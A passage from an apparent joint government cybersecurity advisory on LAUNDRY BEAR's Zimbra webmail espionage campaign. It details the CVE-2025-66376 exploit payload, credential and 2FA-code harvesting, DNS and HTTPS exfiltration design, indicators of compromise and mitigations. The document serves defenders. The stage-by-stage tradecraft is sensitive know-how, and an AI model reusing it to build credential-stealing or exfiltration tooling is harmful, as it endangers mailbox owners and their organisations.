Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing.

Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

**Table 1: Additional SOAP commands used**
SOAP Command	Namespace	Stage
GetInfoRequest	zimbraAccount	gather_environment
GetDeviceStatusRequest	zimbraSync	gather_device_status
GetOAuthConsumersRequest	zimbraAccount	gather_oauth_consumers
SearchGalRequest	zimbraAccount	gather_gal

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

**Table 2: ZCS webmail client types**
Indicator	Client Type	Associated Value
?client=advanced	Advanced	c
/h/	Standard	h
/modern/	Modern	m

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.

**Table 3: DNS exfiltration**
Type of Information	Exfiltration Stage	Data Type
Victim’s Email Address	gather_email	e
Client Type	gather_environment	c
Zimbra Version	gather_environment	v
URL at Time of Exploitation	gather_environment	url
2FA Scratch Codes	gather_2fa_codes	2fa
Newly Created Application Password	gather_app_password	pa
Harvested Autocomplete Password	gather_autocomplete_password	pw

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.

**Table 4: HTTPS exfiltration types**
Content Type	URL Path
application/json	/v/p
application/octet-stream	/v/d

Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.

Table 5 provides a summary of the JSON-based exfiltration.

**Table 5: HTTPS JSON exfiltration**
Type of Information	Exfiltration Stage	JSON Key(s)
Victim’s Email Address	gather_email	email
Client Type, Version, and Current URL	gather_environment	client, version, full_url
Newly Created Application Password	gather_app_password	app_password
Harvested Autocomplete Password	gather_autocomplete_password	autocomplete_password

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

**Table 6: HTTPS binary exfiltration**
Type of Information	Exfiltration Stage	X-Filename Header
SOAP request for GetInfoRequest	gather_environment	zimbra_batch_analytics.json
SOAP request for GetScratchCodesRequest	gather_2fa_codes	zimbra_batch_analytics.json
SOAP request for GetDeviceStatusRequest	gather_device_status	zimbra_batch_analytics.json
SOAP request for GetOAuthConsumersRequest	gather_oauth_consumers	zimbra_batch_analytics.json
Victim Organization’s Global Address List	gather_gal	telemetry_{1-20}.json
Last 90 Days of Victim’s Emails	sendArchives	telemetryData_{0-89}.json

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

**Table 7: Flowerbed server infrastructure**
Domain	IP Address	First Seen	Last Seen
zmailanalytics[.]com	216.252.238[.]104	8 July 2025	15 October 2025
zimbra-metadata[.]com	216.252.238[.]18	20 August 2025	14 October 2025
analyticemailmeter[.]com	37.120.247[.]228	24 September 2025	18 March 2026
emailanalytics.com[.]ua	185.86.79[.]95	24 September 2025	18 March 2026
mailnalysis[.]com	104.248.134[.]194	11 November 2025	17 February 2026
zimbrastat[.]com	64.226.124[.]190	18 December 2025	18 March 2026
zimbrasoft.com[.]ua	193.238.152[.]66	20 January 2026	18 March 2026
synacorzimbra[.]nl	216.252.238[.]64	3 February 2026	30 March 2026
istc-cloud[.]com	194.156.103[.]193	5 February 2026	30 March 2026

**Table 8: Flowerbed X.509 certificate SHA-1 hashes**
Associated Domain	X.509 SHA-1 Hash	First Seen	Last Seen
zmailanalytics[.]com	2e4f314bc9943cab5005d6fde0b271c74d47bc9d	8 Jul 2025	6 Aug 2025
*.i.zmailanalytics[.]com	50a87d926621dd06389ba50d86e0ff574ed713a8	6 Aug 2025	13 Oct 2025
*.i.zimbra-metadata[.]com	c5a72420e7bb308d078e62128430897f82194c95	20 Aug 2025	14 Oct 2025
*.i.analyticemailmeter[.]com	8959c4d29e29f02ea94ea8bb21c8df2594c5549d	24 Sep 2025	8 Nov 2025
*.i.emailanalytics.com[.]ua	62eb76432597694edb01c1fe57aab0cfe03a7178	25 Sep 2025	27 Sep 2025
*.i.mailnalysis[.]com	cddf5c3be1e07f28140aed165b929bf2d614922a	12 Nov 2025	17 Dec 2025
*.i.zimbrastat[.]com	18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8	18 Dec 2025	28 Dec 2025
*.i.zimbrasoft.com[.]ua	1b25041ececf2457eef0270fc1d785cec8ec9ded	21 Jan 2026	10 Feb 2026
*.i.synacorzimbra[.]nl	e4fe6466a4f9a4249fe330651e914e45bbdca44a	5 Feb 2026	22 Mar 2026
*.i.istc-cloud[.]com	b6b77c9a455225d525834a403ca9ef5481ed0447	12 Feb 2026	30 Mar 2026

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.

The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/

Footnotes

¹ Národní úřad pro kybernetickou a informační bezpečnost
²Forsvarets Efterretningstjeneste
³Välisluureamet
⁴ Sotilastiedustelu
⁵ Suojelupoliisi
⁶ Direction générale de la sécurité intérieure
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Serviciul de Informații și Securitate al Republicii Moldova
¹¹Agencja Wywiadu
¹²Służba Kontrwywiadu Wojskowego
¹³Centro Nacional de Inteligencia
¹⁴Nationellt Cybersäkerhetscenter
¹⁵ MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

National Security Agency
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
Cybersecurity and Infrastructure Security Agency
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472).
Federal Bureau of Investigation
If you or someone you know has fallen victim to this campaign, file a complaint with IC3.
Defense Counterintelligence and Security Agency
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117.
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil
Department of Defense Cyber Crime Center
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil
Media Inquiries / Press Desk: DC3.Information@us.af.mil
Naval Criminal Investigative Service
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid
General Intelligence and Security Service (AIVD): https://www.aivd.nl

Australian organizations

Australian Signals Directorate
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE):
Visit https://www.sicurezzanazionale.gov.it/
Italian Internal Intelligence and Security Agency (AISI):
Visit https://www.sicurezzanazionale.gov.it/

Moldovan organizations

Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md

Polish organizations

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

**Table 9: Reconnaissance**
Technique Title	ID	Use
Gather Victim Identity Information: Credentials	T1589.001	The payload attempts to intercept a victim’s password from their password manager.
Gather Victim Identity Information: Email Addresses	T1589.002	The payload attempts to grab the victim’s email address from various data stores.
Search Open Websites/Domains	T1593	This group likely leverages public information to support target development.
Active Scanning	T1595	Port scanning can be used by this group to assist with determining exploitability of identified targets.
Search Open Technical Databases: Scan Databases	T1596.005	Various public datasets can provide information to support discovery of exploitable targets.
Search Closed Sources	T1597	Previously exfiltrated data can be used to enhance target development efforts.
Search Closed Sources: Purchase Technical Data	T1597.002	Commercial datasets can also be used to support target development efforts.

**Table 10: Resource Development**
Technique Title	ID	Use
Acquire Infrastructure	T1583	This group used Mullvad VPN to anonymize traffic sent to operational infrastructure.
Acquire Infrastructure: Virtual Private Server	T1583.003	This group procured VPS servers from a variety of vendors.
Develop Capabilities	T1587	The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns.
Develop Capabilities: Malware	T1587.001	Development of a novel payload that steals a victim’s emails and other sensitive account information.
Develop Capabilities: Exploits	T1587.004	Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript.
Obtain Capabilities: Tool	T1588.002	Open source tools, such as Evilginx2, have also been used by the group.
Obtain Capabilities: Artificial Intelligence	T1588.007	The group appears to have leveraged AI to support development efforts.
Stage Capabilities	T1608	Flowerbed is deployed to a procured server in the cloud.

**Table 11: Initial Access**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.
Trusted Relationship	T1199	The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.
